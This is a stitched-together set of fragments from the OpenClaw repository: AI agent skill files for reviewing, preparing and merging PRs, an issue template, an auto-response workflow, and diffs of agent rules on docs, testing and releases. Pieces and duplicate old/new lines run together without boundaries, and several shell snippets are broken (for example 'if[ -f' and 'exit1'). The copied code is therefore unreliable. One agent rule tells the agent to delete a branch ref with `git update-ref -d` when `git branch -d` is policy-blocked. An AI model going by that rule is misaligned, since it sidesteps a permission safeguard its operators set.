- Clean up the real worktree directory `.worktrees/pr-<PR>` only after a successful merge.
- Expect cleanup to remove `.local/` artifacts.
## Completion Criteria
- Ensure `gh pr merge` succeeds.
- Ensure PR state is `MERGED`, never `CLOSED`.
- Record the merge SHA.
- Run cleanup only after merge success.
## First: Create a TODO Checklist
Create a checklist of all merge steps, print it, then continue and execute the commands.
## Setup: Use a Worktree
Use an isolated worktree for all merge work.
```sh
cd ~/Development/openclaw
# Sanity: confirm you are in the repo
git rev-parse --show-toplevel
WORKTREE_DIR=".worktrees/pr-<PR>"
```
Run all commands inside the worktree directory.
## Load Local Artifacts (Mandatory)
Expect these files from earlier steps:
-`.local/review.md` from `/reviewpr`
-`.local/prep.md` from `/preparepr`
```sh
ls -la .local ||true
if[ -f .local/review.md ];then
echo"Found .local/review.md"
sed -n '1,120p' .local/review.md
else
echo"Missing .local/review.md. Stop and run /reviewpr, then /preparepr."
exit1
fi
if[ -f .local/prep.md ];then
echo"Found .local/prep.md"
sed -n '1,120p' .local/prep.md
else
echo"Missing .local/prep.md. Stop and run /preparepr first."
description: Run the macOS Parallels smoke harness with Discord end-to-end roundtrip verification, including guest send, host verification, host reply, and guest readback.
---
# Parallels Discord Roundtrip
Use when macOS Parallels smoke must prove Discord two-way delivery end to end.
- Snapshot target: closest to `macOS 26.3.1 fresh`.
- Harness configures Discord inside the guest; no checked-in token/config.
- Use the `openclaw` wrapper for guest `message send/read`; `node openclaw.mjs message ...` does not expose the lazy message subcommands the same way.
- Write `channels.discord.guilds` in one JSON object (`--strict-json`), not dotted `config set channels.discord.guilds.<snowflake>...` paths; numeric snowflakes get treated like array indexes.
- Avoid `prlctl enter` / expect for long Discord setup scripts; it line-wraps/corrupts long commands. Use `prlctl exec --current-user /bin/sh -lc ...` for the Discord config phase.
- Harness cleanup deletes the temporary Discord smoke messages at exit.
description: Prepare a GitHub PR for merge by rebasing onto main, fixing review findings, running gates, committing fixes, and pushing to the PR head branch. Use after /reviewpr. Never merge or push to main.
---
# Prepare PR
## Overview
Prepare a PR branch for merge with review fixes, green gates, and an updated head branch.
## Inputs
- Ask for PR number or URL.
- If missing, auto-detect from conversation.
- If ambiguous, ask.
## Safety
- Never push to `main` or `origin/main`. Push only to the PR head branch.
- Never run `git push` without specifying remote and branch explicitly. Do not run bare `git push`.
- Do not run gateway stop commands. Do not kill processes. Do not touch port 18792.
- Do not run `git clean -fdx`.
- Do not run `git add -A` or `git add .`. Stage only specific files changed.
## Execution Rule
- Execute the workflow. Do not stop after printing the TODO checklist.
- If delegating, require the delegate to run commands and capture outputs.
## Known Footguns
- If you see "fatal: not a git repository", you are in the wrong directory. Use `~/openclaw`.
- Do not run `git clean -fdx`.
- Do not run `git add -A` or `git add .`.
## Completion Criteria
- Rebase PR commits onto `origin/main`.
- Fix all BLOCKER and IMPORTANT items from `.local/review.md`.
- Run gates and pass.
- Commit prep changes.
- Push the updated HEAD back to the PR head branch.
- Write `.local/prep.md` with a prep summary.
- Output exactly: `PR is ready for /mergepr`.
## First: Create a TODO Checklist
Create a checklist of all prep steps, print it, then continue and execute the commands.
## Setup: Use a Worktree
Use an isolated worktree for all prep work.
```sh
cd ~/openclaw
# Sanity: confirm you are in the repo
git rev-parse --show-toplevel
WORKTREE_DIR=".worktrees/pr-<PR>"
```
Run all commands inside the worktree directory.
## Load Review Findings (Mandatory)
```sh
if[ -f .local/review.md ];then
echo"Found review findings from /reviewpr"
else
echo"Missing .local/review.md. Run /reviewpr first and save findings."
exit1
fi
# Read it
sed -n '1,200p' .local/review.md
```
## Steps
1. Identify PR meta (author, head branch, head repo URL)
Require all to pass. If something fails, fix, commit, and rerun. Allow at most 3 fix and rerun cycles. If gates still fail after 3 attempts, stop and report the failures. Do not loop indefinitely.
description: Review-only GitHub pull request analysis with the gh CLI. Use when asked to review a PR, provide structured feedback, or assess readiness to land. Do not merge, push, or make code changes you intend to keep.
---
# Review PR
## Overview
Perform a thorough review-only PR assessment and return a structured recommendation on readiness for /preparepr.
## Inputs
- Ask for PR number or URL.
- If missing, always ask. Never auto-detect from conversation.
- If ambiguous, ask.
## Safety
- Never push to `main` or `origin/main`, not during review, not ever.
- Do not run `git push` at all during review. Treat review as read only.
- Do not stop or kill the gateway. Do not run gateway stop commands. Do not kill processes on port 18792.
## Execution Rule
- Execute the workflow. Do not stop after printing the TODO checklist.
- If delegating, require the delegate to run commands and capture outputs, not a plan.
## Known Failure Modes
- If you see "fatal: not a git repository", you are in the wrong directory. Use `~/openclaw`.
- Do not stop after printing the checklist. That is not completion.
## Writing Style for Output
- Write casual and direct.
- Avoid em dashes and en dashes. Use commas or separate sentences.
## Completion Criteria
- Run the commands in the worktree and inspect the PR directly.
- Produce the structured review sections A through J.
- Save the full review to `.local/review.md` inside the worktree.
## First: Create a TODO Checklist
Create a checklist of all review steps, print it, then continue and execute the commands.
## Setup: Use a Worktree
Use an isolated worktree for all review work.
```sh
cd ~/Development/openclaw
# Sanity: confirm you are in the repo
git rev-parse --show-toplevel
WORKTREE_DIR=".worktrees/pr-<PR>"
git fetch origin main
# Reuse existing worktree if it exists, otherwise create new
git log --oneline --all --grep="<keyword_from_pr_title>"| head -20
```
If it already exists, call it out as a BLOCKER or at least IMPORTANT.
3. Claim the PR
Assign yourself so others know someone is reviewing. Skip if the PR looks like spam or is a draft you plan to recommend closing.
```sh
gh_user=$(gh api user --jq .login)
gh pr edit <PR> --add-assignee "$gh_user"
```
4. Read the PR description carefully
Use the body from step 1. Summarize goal, scope, and missing context.
5. Read the diff thoroughly
Minimum:
```sh
gh pr diff <PR>
```
If you need full code context locally, fetch the PR head to a local ref and diff it. Do not create a merge commit.
```sh
git fetch origin pull/<PR>/head:pr-<PR>
# Show changes without modifying the working tree
git diff --stat origin/main..pr-<PR>
git diff origin/main..pr-<PR>
```
If you want to browse the PR version of files directly, temporarily check out `pr-<PR>` in the worktree. Do not commit or push. Return to `temp/pr-<PR>` and reset to `origin/main` afterward.
```sh
# Use only if needed
# git checkout pr-<PR>
# ...inspect files...
git checkout temp/pr-<PR>
git reset --hard origin/main
```
6. Validate the change is needed and valuable
Be honest. Call out low value AI slop.
7. Evaluate implementation quality
Review correctness, design, performance, and ergonomics.
8. Perform a security review
Assume OpenClaw subagents run with full disk access, including git, gh, and shell. Check auth, input validation, secrets, dependencies, tool safety, and privacy.
9. Review tests and verification
Identify what exists, what is missing, and what would be a minimal regression test.
10. Check docs
Check if the PR touches code with related documentation such as README, docs, inline API docs, or config examples.
- If docs exist for the changed area and the PR does not update them, flag as IMPORTANT.
- If the PR adds a new feature or config option with no docs, flag as IMPORTANT.
- If the change is purely internal with no user-facing impact, skip this.
11. Check changelog
Check if `CHANGELOG.md` exists and whether the PR warrants an entry.
- If the project has a changelog and the PR is user-facing, flag missing entry as IMPORTANT.
- Leave the change for /preparepr, only flag it here.
12. Answer the key question
Decide if /preparepr can fix issues or the contributor must update the PR.
13. Save findings to the worktree
Write the full structured review sections A through J to `.local/review.md`.
Create or overwrite the file and verify it exists and is non-empty.
```sh
ls -la .local/review.md
wc -l .local/review.md
```
14. Output the structured review
Produce a review that matches what you saved to `.local/review.md`.
A) TL;DR recommendation
- One of: READY FOR /preparepr | NEEDS WORK | NEEDS DISCUSSION | NOT USEFUL (CLOSE)
- 1 to 3 sentences.
B) What changed
C) What is good
D) Security findings
E) Concerns or questions (actionable)
- Numbered list.
- Mark each item as BLOCKER, IMPORTANT, or NIT.
- For each, point to file or area and propose a concrete fix.
F) Tests
G) Docs status
- State if related docs are up to date, missing, or not applicable.
H) Changelog
- State if `CHANGELOG.md` needs an entry and which category.
description:Optional. Include redacted routing details, per-agent overrides, auth-profile interactions, env/config context, or anything else needed to explain the effective provider/model setup. Do not include API keys, tokens, or passwords.
placeholder:|
Default route is openclaw -> cloudflare-ai-gateway -> minimax.
Previous setup was openclaw -> cloudflare-ai-gateway -> openrouter -> minimax.
Relevant config lives in ~/.openclaw/openclaw.json under models.providers.minimax and models.providers.cloudflare-ai-gateway.
- type:textarea
id:logs
attributes:
label:Logs, screenshots, and evidence
description:Include redacted logs/screenshots/recordings that prove the behavior.
render:shell
- type:textarea
id:impact
attributes:
label:Impact and severity
description:|
Explain who is affected, how severe it is, how often it happens, and the practical consequence.
Include:
- Affected users/systems/channels
- Severity (annoying, blocks workflow, data risk, etc.)
- Frequency (always/intermittent/edge case)
- Consequence (missed messages, failed onboarding, extra cost, etc.)
placeholder:|
Affected: Telegram group users on <version>
Severity: High (blocks replies)
Frequency: 100% repro
Consequence: Agents cannot respond in threads
- type:textarea
id:additional_information
attributes:
label:Additional information
description:Add any context that helps triage but does not fit above. If this is a regression, include the last known good and first known bad versions.
placeholder:Last known good version <...>, first known bad version <...>, temporary workaround is ...
What you personally verified (not just CI), and how:
- Verified scenarios:
- Edge cases checked:
- What you did **not** verify:
## Review Conversations
- [ ] I replied to or resolved every bot review conversation I addressed in this PR.
- [ ] I left unresolved only the conversations that still need reviewer or maintainer judgment.
If a bot review conversation is addressed by this PR, resolve that conversation yourself. Do not leave bot review conversation cleanup for maintainers.
## Compatibility / Migration
- Backward compatible? (`Yes/No`)
- Config/env changes? (`Yes/No`)
- Migration needed? (`Yes/No`)
- If yes, exact upgrade steps:
## Failure Recovery (if this breaks)
- How to disable/revert this change quickly:
- Files/config to restore:
- Known bad symptoms reviewers should watch for:
## Risks and Mitigations
List only real risks for this PR. Add/remove entries as needed. If none, write `None`.
// Labels prefixed with "r:" are auto-response triggers.
const activePrLimit = 10;
const rules = [
{
label: "r: skill",
@@ -39,55 +52,451 @@ jobs:
message:
"Please use [our support server](https://discord.gg/clawd) and ask in #help or #users-helping-users to resolve this, or follow the stuck FAQ at https://docs.openclaw.ai/help/faq#im-stuck-whats-the-fastest-way-to-get-unstuck.",
},
{
label: "r: no-ci-pr",
close: true,
message:
"Please don't make PRs for test failures on main.\n\n" +
"The team is aware of those and will handle them directly on the codebase, not only fixing the tests but also investigating what the root cause is. Having to sift through test-fix-PRs (including some that have been out of date for weeks...) on top of that doesn't help. There are already way too many PRs for humans to manage; please don't make the flood worse.\n\n" +
"Thank you.",
},
{
label: "r: too-many-prs",
close: true,
message:
`Closing this PR because the author has more than ${activePrLimit} active PRs in this repo. ` +
"Please reduce the active PR queue and reopen or resubmit once it is back under the limit. You can close your own PRs to get back under the limit.",
},
{
label: "r: testflight",
close: true,
commentTriggers: ["testflight"],
message: "Not available, build from source.",
},
{
label: "r: third-party-extension",
close: true,
message:
"This would be better made as a third-party extension with our SDK that you maintain yourself. Docs: https://docs.openclaw.ai/plugin.",
"Please make this as a third-party plugin that you maintain yourself in your own repo. Docs: https://docs.openclaw.ai/plugin. Feel free to open a PR after to add it to our community plugins page: https://docs.openclaw.ai/plugins/community",
},
{
label: "r: moltbook",
close: true,
lock: true,
lockReason: "off-topic",
commentTriggers: ["moltbook"],
message:
"OpenClaw is not affiliated with Moltbook, and issues related to Moltbook should not be submitted here.",
},
];
const maintainerTeam = "maintainer";
const pingWarningMessage =
"Please don’t spam-ping multiple maintainers at once. Be patient, or join our community Discord for help: https://discord.gg/clawd";
if (title.toLowerCase().includes("security") && !hasSecurityLabel) {
await github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: issue.number,
labels: ["security"],
});
labelSet.add("security");
}
if (title.toLowerCase().includes("testflight") && !hasTestflightLabel) {
await github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: issue.number,
labels: ["r: testflight"],
});
labelSet.add("r: testflight");
}
if (haystack.includes("moltbook") && !hasMoltbookLabel) {
await github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: issue.number,
labels: ["r: moltbook"],
});
labelSet.add("r: moltbook");
}
}
const invalidLabel = "invalid";
const spamLabel = "r: spam";
const dirtyLabel = "dirty";
const noisyPrMessage =
"Closing this PR because it looks dirty (too many unrelated or unexpected changes). This usually happens when a branch picks up unrelated commits or a merge went sideways. Please recreate the PR from a clean branch.";
Goal: PR must end in GitHub state = MERGED (never CLOSED). Use`gh pr merge` with `--rebase` or `--squash`.
Goal: PR must end in GitHub state = MERGED (never CLOSED). Prefer`gh pr merge --squash`; use `--rebase` only when preserving commit history is required.
Goal: produce a thorough review and a clear recommendation (READY for /landpr vs NEEDS WORK). Do NOT merge, do NOT push, do NOT make changes in the repo as part of this command.
Goal: produce a thorough review and a clear recommendation (READY FOR /landpr vs NEEDS WORK vs INVALID CLAIM). Do NOT merge, do NOT push, do NOT make changes in the repo as part of this command.
0. Truthfulness + reality gate (required for bug-fix claims)
- Do not trust the issue text or PR summary by default; verify in code and evidence.
- If the PR claims to fix a bug linked to an issue, confirm the bug exists now (repro steps, logs, failing test, or clear code-path proof).
- Prove root cause with exact location (`path/file.ts:line` + explanation of why behavior is wrong).
- Verify fix targets the same code path as the root cause.
- Require a regression test when feasible (fails before fix, passes after fix). If not feasible, require explicit justification + manual verification evidence.
- Hallucination/BS red flags (treat as BLOCKER until disproven):
- claimed behavior not present in repo,
- issue/PR says "fixes #..." but changed files do not touch implicated path,
- only docs/comments changed for a runtime bug claim,
- vague AI-generated rationale without concrete evidence.
1. Identify PR meta + context
@@ -56,6 +68,7 @@ Goal: produce a thorough review and a clear recommendation (READY for /landpr vs
- Any deprecations, docs, types, or lint rules we should adjust?
8. Key questions to answer explicitly
- Is the core claim substantiated by evidence, or is it likely invalid/hallucinated?
- Can we fix everything ourselves in a follow-up, or does the contributor need to update this PR?
- Any blocking concerns (must-fix before merge)?
- Is this PR ready to land, or does it need work?
@@ -65,18 +78,32 @@ Goal: produce a thorough review and a clear recommendation (READY for /landpr vs
A) TL;DR recommendation
- One of: READY FOR /landpr | NEEDS WORK | NEEDS DISCUSSION
- One of: READY FOR /landpr | NEEDS WORK | INVALID CLAIM (issue/bug not substantiated) | NEEDS DISCUSSION
- In chat replies, file references must be repo-root relative only (example: `extensions/bluebubbles/src/channel.ts:80`); never absolute paths or `~/...`.
- GitHub issues/comments/PR comments: use literal multiline strings or `-F - <<'EOF'` (or $'...') for real newlines; never embed "\\n".
- GitHub comment footgun: never use `gh issue/pr comment -b "..."` when body contains backticks or shell chars. Always use single-quoted heredoc (`-F - <<'EOF'`) so no command substitution/escaping corruption.
- GitHub linking footgun: don’t wrap issue/PR refs like `#24643` in backticks when you want auto-linking. Use plain `#24643` (optionally add full URL).
- PR landing comments: always make commit SHAs clickable with full commit links (both landed SHA + source SHA when present).
- PR review conversations: if a bot leaves review conversations on your PR, address them and resolve those conversations yourself once fixed. Leave a conversation unresolved only when reviewer or maintainer judgment is still needed; do not leave bot-conversation cleanup to maintainers.
- GitHub searching footgun: don't limit yourself to the first 500 issues or PRs when wanting to search all. Unless you're supposed to look at the most recent, keep going until you've reached the last page in the search
- Security advisory analysis: before triage/severity decisions, read `SECURITY.md` to align with OpenClaw's trust model and design boundaries.
- Do not edit files covered by security-focused `CODEOWNERS` rules unless a listed owner explicitly asked for the change or is already reviewing it with you. Treat those paths as restricted surfaces, not drive-by cleanup.
## Auto-close labels (issues and PRs)
- If an issue/PR matches one of the reasons below, apply the label and let `.github/workflows/auto-response.yml` handle comment/close/lock.
- Do not manually close + manually comment for these reasons.
- Why: keeps wording consistent, preserves automation behavior (`state_reason`, locking), and keeps triage/reporting searchable by label.
-`r:*` labels can be used on both issues and PRs.
-`r: skill`: close with guidance to publish skills on Clawhub.
-`r: support`: close with redirect to Discord support + stuck FAQ.
-`r: no-ci-pr`: close test-fix-only PRs for failing `main` CI and post the standard explanation.
-`r: too-many-prs`: close when author exceeds active PR limit.
-`r: testflight`: close requests asking for TestFlight access/builds. OpenClaw does not provide TestFlight distribution yet, so use the standard response (“Not available, build from source.”) instead of ad-hoc replies.
-`r: third-party-extension`: close with guidance to ship as third-party plugin.
-`r: moltbook`: close + lock as off-topic (not affiliated).
-`r: spam`: close + lock as spam (`lock_reason: spam`).
-`invalid`: close invalid items (issues are closed as `not_planned`; PRs are closed).
-`dirty`: close PRs with too many unrelated/unexpected changes (PR-only label).
## PR truthfulness and bug-fix validation
- Never merge a bug-fix PR based only on issue text, PR text, or AI rationale.
- Before `/landpr`, run `/reviewpr` and require explicit evidence for bug-fix claims.
- Minimum merge gate for bug-fix PRs:
1. symptom evidence (repro/log/failing test),
2. verified root cause in code with file/line,
3. fix touches the implicated code path,
4. regression test (fail before/pass after) when feasible; if not feasible, include manual verification proof and why no test was added.
- If claim is unsubstantiated or likely hallucinated/BS: do not merge. Request evidence/changes, or close with `invalid` when appropriate.
- If linked issue appears wrong/outdated, correct triage first; do not merge speculative fixes.
- Internal doc links in `docs/**/*.md`: root-relative, no `.md`/`.mdx` (example: `[Config](/configuration)`).
- When working with documentation, read the mintlify skill.
- For docs, UI copy, and picker lists, order services/providers alphabetically unless the section is explicitly describing runtime behavior (for example auto-detection or execution order).
- Section cross-references: use anchors on root-relative paths (example: `[Hooks](/configuration#hooks)`).
- Doc headings and anchors: avoid em dashes and apostrophes in headings because they break Mintlify anchor links.
- When Peter asks for links, reply with full `https://docs.openclaw.ai/...` URLs (not root-relative).
@@ -32,6 +72,8 @@
-`docs/zh-CN/**` is generated; do not edit unless the user explicitly asks.
- Pipeline: update English docs → adjust glossary (`docs/.i18n/glossary.zh-CN.json`) → run `scripts/docs-i18n` → apply targeted fixes only if instructed.
- Before rerunning `scripts/docs-i18n`, add glossary entries for any new technical terms, page titles, or short nav labels that must stay in English or use a fixed translation (for example `Doctor` or `Polls`).
-`pnpm docs:check-i18n-glossary` enforces glossary coverage for changed English doc titles and short internal doc labels before translation reruns.
- If deps are missing (for example `node_modules` missing, `vitest not found`, or `command not found`), run the repo’s package-manager install command (prefer lockfile/README-defined PM), then rerun the exact requested command once. Apply this to test/build/lint/typecheck/dev commands; if retry still fails, report the command and first actionable error.
- Pre-commit hooks: `prek install` (runs same checks as CI)
- Also supported: `bun install` (keep `pnpm-lock.yaml` + Bun patching in sync when touching deps/patches).
- Prefer Bun for TypeScript execution (scripts, dev, tests): `bun <file.ts>` / `bunx <tool>`.
- Run CLI in dev: `pnpm openclaw ...` (bun) or `pnpm dev`.
- Node remains supported for running built output (`dist/*`) and production installs.
- Mac packaging (dev): `scripts/package-mac-app.sh` defaults to current arch. Release checklist: `docs/platforms/mac/release.md`.
- Mac packaging (dev): `scripts/package-mac-app.sh` defaults to current arch.
- Formatting/linting via Oxlint and Oxfmt; run `pnpm check` before commits.
- Never add `@ts-nocheck` and do not disable `no-explicit-any`; fix root causes and update Oxlint/Oxfmt config only when required.
- Dynamic import guardrail: do not mix `await import("x")` and static `import ... from "x"` for the same module in production code paths. If you need lazy loading, create a dedicated `*.runtime.ts` boundary (that re-exports from `x`) and dynamically import that boundary from lazy callers only.
- Dynamic import verification: after refactors that touch lazy-loading/module boundaries, run `pnpm build` and check for `[INEFFECTIVE_DYNAMIC_IMPORT]` warnings before submitting.
- Never share class behavior via prototype mutation (`applyPrototypeMixins`, `Object.defineProperty` on `.prototype`, or exporting `Class.prototype` for merges). Use explicit inheritance/composition (`A extends B extends C`) or helper composition so TypeScript can typecheck.
- If this pattern is needed, stop and get explicit approval before shipping; default behavior is to split/refactor into an explicit class hierarchy and keep members strongly typed.
- In tests, prefer per-instance stubs over prototype mutation (`SomeClass.prototype.method = ...`) unless a test explicitly documents why prototype-level patching is required.
- Add brief code comments for tricky or non-obvious logic.
- Keep files concise; extract helpers instead of “V2” copies. Use existing patterns for CLI options and dependency injection via `createDefaultDeps`.
- Aim to keep files under ~700 LOC; guideline only (not a hard guardrail). Split/refactor when it improves clarity or testability.
- Naming: use **OpenClaw** for product/app/docs headings; use `openclaw` for CLI command, package/binary, paths, and config keys.
- Written English: use American spelling and grammar in code, comments, docs, and UI strings (e.g. "color" not "colour", "behavior" not "behaviour", "analyze" not "analyse").
## Release Channels (Naming)
- stable: tagged releases only (e.g. `vYYYY.M.D`), npm dist-tag `latest`.
- beta naming: prefer `-beta.N`; do not mint new `-1/-2` betas. Legacy `vYYYY.M.D-<patch>` and `vYYYY.M.D.beta.N` remain recognized.
- dev: moving head on `main` (no tag; git checkout main).
## Testing Guidelines
@@ -82,41 +135,45 @@
- Framework: Vitest with V8 coverage thresholds (70% lines/branches/functions/statements).
- Naming: match source names with `*.test.ts`; e2e in `*.e2e.test.ts`.
- Run `pnpm test` (or `pnpm test:coverage`) before pushing when you touch logic.
- For targeted/local debugging, keep using the wrapper: `pnpm test -- <path-or-filter> [vitest args...]` (for example `pnpm test -- src/commands/onboard-search.test.ts -t "shows registered plugin providers"`); do not default to raw `pnpm vitest run ...` because it bypasses wrapper config/profile/pool routing.
- Do not set test workers above 16; tried already.
- If local Vitest runs cause memory pressure (common on non-Mac-Studio hosts), use `OPENCLAW_TEST_PROFILE=low OPENCLAW_TEST_SERIAL_GATEWAY=1 pnpm test` for land/gate runs.
- Live tests (real keys): `CLAWDBOT_LIVE_TEST=1 pnpm test:live` (OpenClaw-only) or `LIVE=1 pnpm test:live` (includes provider live tests). Docker: `pnpm test:docker:live-models`, `pnpm test:docker:live-gateway`. Onboarding Docker E2E: `pnpm test:docker:onboard`.
- Changelog placement: in the active version block, append new entries to the end of the target section (`### Changes` or `### Fixes`); do not insert new entries at the top of a section.
- Changelog attribution: use at most one contributor mention per line; prefer `Thanks @author` and do not also add `by @author` on the same entry.
- Pure test additions/fixes generally do **not** need a changelog entry unless they alter user-facing behavior or the user asks for one.
- Mobile: before using a simulator, check for connected real devices (iOS + Android) and prefer them when available.
## Commit & Pull Request Guidelines
**Full maintainer PR workflow (optional):** If you want the repo's end-to-end maintainer workflow (triage order, quality bar, rebase rules, commit/changelog conventions, co-contributor policy, and the `review-pr` > `prepare-pr` > `merge-pr` pipeline), see `.agents/skills/PR_WORKFLOW.md`. Maintainers may use other workflows; when a maintainer specifies a workflow, follow that. If no workflow is specified, default to PR_WORKFLOW.
-`/landpr` lives in the global Codex prompts (`~/.codex/prompts/landpr.md`); when landing or merging any PR, always follow that `/landpr` process.
- Create commits with `scripts/committer "<msg>" <file...>`; avoid manual `git add`/`git commit` so staging stays scoped.
- Follow concise, action-oriented commit messages (e.g., `CLI: add verbose flag to send`).
- Group related changes; avoid bundling unrelated refactors.
-Changelog workflow: keep latest released version at top (no `Unreleased`); after publishing, bump version and start a new top section.
-PRs should summarize scope, note testing performed, and mention any user-facing changes or new flags.
- Read this when submitting a PR: `docs/help/submitting-a-pr.md` ([Submitting a PR](https://docs.openclaw.ai/help/submitting-a-pr))
- Read this when submitting an issue: `docs/help/submitting-an-issue.md` ([Submitting an Issue](https://docs.openclaw.ai/help/submitting-an-issue))
- PR review flow: when given a PR link, review via `gh pr view`/`gh pr diff` and do **not** change branches.
- PR review calls: prefer a single `gh pr view --json ...` to batch metadata/comments; run `gh pr diff` only when needed.
- Before starting a review when a GH Issue/PR is pasted: run `git pull`; if there are local changes or unpushed commits, stop and alert the user before reviewing.
- Goal: merge PRs. Prefer **rebase** when commits are clean; **squash** when history is messy.
- PR merge flow: create a temp branch from `main`, merge the PR branch into it (prefer squash unless commit history is important; use rebase/merge when it is). Always try to merge the PR unless it’s truly difficult, then use another approach. If we squash, add the PR author as a co-contributor. Apply fixes, add changelog entry (include PR # + thanks), run full gate before the final commit, commit, merge back to `main`, delete the temp branch, and end on `main`.
- If you review a PR and later do work on it, land via merge/squash (no direct-main commits) and always add the PR author as a co-contributor.
- When working on a PR: add a changelog entry with the PR number and thank the contributor.
- When working on an issue: reference the issue in the changelog entry.
- When merging a PR: leave a PR comment that explains exactly what we did and include the SHA hashes.
- When merging a PR from a new contributor: add their avatar to the README “Thanks to all clawtributors” thumbnail list.
- After merging a PR: run `bun scripts/update-clawtributors.ts` if the contributor is missing, then commit the regenerated README.
-`sync`: if working tree is dirty, commit all changes (pick a sensible Conventional Commit message), then `git pull --rebase`; if rebase conflicts and cannot resolve, stop; otherwise `git push`.
-**Landing mode:** create an integration branch from `main`, bring in PR commits (**prefer rebase** for linear history; **merge allowed** when complexity/conflicts make it safer), apply fixes, add changelog (+ thanks + PR #), run full gate **locally before committing** (`pnpm build && pnpm check && pnpm test`), commit, merge back to `main`, then `git switch main` (never stay on a topic branch after landing). Important: contributor needs to be in git graph after this!
-If `git branch -d/-D <branch>` is policy-blocked, delete the local ref directly: `git update-ref -d refs/heads/<branch>`.
-Bulk PR close/reopen safety: if a close action would affect more than 5 PRs, first ask for explicit user confirmation with the exact PR count and target scope/query.
## GitHub Search (`gh`)
- Prefer targeted keyword search before proposing new work or duplicating fixes.
- Use `--repo openclaw/openclaw` + `--match title,body` first; add `--match comments` when triaging follow-up threads.
- Pi sessions live under `~/.openclaw/sessions/` by default; the base directory is not configurable.
- Environment variables: see `~/.profile`.
- Never commit or publish real phone numbers, videos, or live configuration values. Use obviously fake placeholders in docs, tests, and examples.
- Release flow: always read `docs/reference/RELEASING.md` and `docs/platforms/mac/release.md` before any release work; do not ask routine questions once those docs answer them.
- Release flow: use the private [maintainer release docs](https://github.com/openclaw/maintainers/blob/main/release/README.md) for the actual runbook; use `docs/reference/RELEASING.md` for the public release policy.
## GHSA (Repo Advisory) Patch/Publish
- Before reviewing security advisories, read `SECURITY.md`.
- Fetch: `gh api /repos/openclaw/openclaw/security-advisories/<GHSA>`
- Latest npm: `npm view openclaw version --userconfig "$(mktemp)"`
- Private fork PRs must be closed:
`fork=$(gh api /repos/openclaw/openclaw/security-advisories/<GHSA> | jq -r .private_fork.full_name)`
`gh pr list -R "$fork" --state open` (must be empty)
- Description newline footgun: write Markdown via heredoc to `/tmp/ghsa.desc.md` (no `"\\n"` strings)
- Parallels macOS retests: use the snapshot most closely named like `macOS 26.3.1 fresh` when the user asks for a clean/fresh macOS rerun; avoid older Tahoe snapshots unless explicitly requested.
- Parallels beta smoke: use `--target-package-spec openclaw@<beta-version>` for the beta artifact, and pin the stable side with both `--install-version <stable-version>` and `--latest-version <stable-version>` for upgrade runs. npm dist-tags can move mid-run.
- Parallels beta smoke, Windows nuance: old stable `2026.3.12` still prints the Unicode Windows onboarding banner, so mojibake during the stable precheck log is expected there. Judge the beta package by the post-upgrade lane.
- Parallels macOS smoke playbook:
-`prlctl exec` is fine for deterministic repo commands, but it can misrepresent interactive shell behavior (`PATH`, `HOME`, `curl | bash`, shebang resolution). For installer parity or shell-sensitive repros, prefer the guest Terminal or `prlctl enter`.
- Fresh Tahoe snapshot current reality: `brew` exists, `node` may not be on `PATH` in noninteractive guest exec. Use absolute `/opt/homebrew/bin/node` for repo/CLI runs when needed.
- Preferred automation entrypoint: `pnpm test:parallels:macos`. It restores the snapshot most closely matching `macOS 26.3.1 fresh`, serves the current `main` tarball from the host, then runs fresh-install and latest-release-to-main smoke lanes.
- Discord roundtrip smoke is opt-in. Pass `--discord-token-env <VAR> --discord-guild-id <guild> --discord-channel-id <channel>`; the harness will configure Discord in-guest, post a guest message, verify host-side visibility via the Discord REST API, post a fresh host-side message back into the channel, then verify `openclaw message read` sees it in-guest.
- Keep the Discord token in a host env var only. For Peter’s Mac Studio bot, fetch it into a temp env var from `~/.openclaw/openclaw.json` over SSH instead of hardcoding it in repo files/shell history.
- For Discord smoke on this snapshot: use `openclaw message send/read` via the installed wrapper, not `node openclaw.mjs message ...`; lazy `message` subcommands do not resolve the same way through the direct module entrypoint.
- For Discord guild allowlists: set `channels.discord.guilds` as one JSON object. Do not use dotted `config set channels.discord.guilds.<snowflake>...` paths; numeric snowflakes get treated as array indexes.
- Avoid `prlctl enter` / expect for the Discord config phase; long lines get mangled. Use `prlctl exec --current-user /bin/sh -lc ...` with short commands or temp files.
- Gateway verification in smoke runs should use `openclaw gateway status --deep --require-rpc`, not plain `--deep`, so probe failures go non-zero.
- Latest-release pre-upgrade diagnostics still need compatibility fallback: stable `2026.3.12` does not know `--require-rpc`, so precheck status dumps should fall back to plain `gateway status --deep` until the guest is upgraded.
- Harness output: pass `--json` for machine-readable summary; per-phase logs land under `/tmp/openclaw-parallels-smoke.*`.
- All-OS parallel runs should share the host `dist` build via `/tmp/openclaw-parallels-build.lock` instead of rebuilding three times.
- Current expected outcome on latest stable pre-upgrade: `precheck=latest-ref-fail` is normal on `2026.3.12`; treat it as a baseline signal, not a regression, unless the post-upgrade `main` lane also fails.
- Fresh host-served tgz install: restore fresh snapshot, install tgz as guest root with `HOME=/var/root`, then run onboarding as the desktop user via `prlctl exec --current-user`.
- For `openclaw onboard --non-interactive --secret-input-mode ref --install-daemon`, expect env-backed auth-profile refs (for example `OPENAI_API_KEY`) to be copied into the service env at install time; this path was fixed and should stay green.
- Don’t run local + gateway agent turns in parallel on the same fresh workspace/session; they can collide on the session lock. Run sequentially.
- Root-installed tarball smoke on Tahoe can still log plugin blocks for world-writable `extensions/*` under `/opt/homebrew/lib/node_modules/openclaw`; treat that as separate from onboarding/gateway health unless the task is plugin loading.
- Parallels Windows smoke playbook:
- Preferred automation entrypoint: `pnpm test:parallels:windows`. It restores the snapshot most closely matching `pre-openclaw-native-e2e-2026-03-12`, serves the current `main` tarball from the host, then runs fresh-install and latest-release-to-main smoke lanes.
- Gateway verification in smoke runs should use `openclaw gateway status --deep --require-rpc`, not plain `--deep`, so probe failures go non-zero.
- Latest-release pre-upgrade diagnostics still need compatibility fallback: stable `2026.3.12` does not know `--require-rpc`, so precheck status dumps should fall back to plain `gateway status --deep` until the guest is upgraded.
- Always use `prlctl exec --current-user` for Windows guest runs; plain `prlctl exec` lands in `NT AUTHORITY\SYSTEM` and does not match the real desktop-user install path.
- Prefer explicit `npm.cmd` / `openclaw.cmd`. Bare `npm` / `openclaw` in PowerShell can hit the `.ps1` shim and fail under restrictive execution policy.
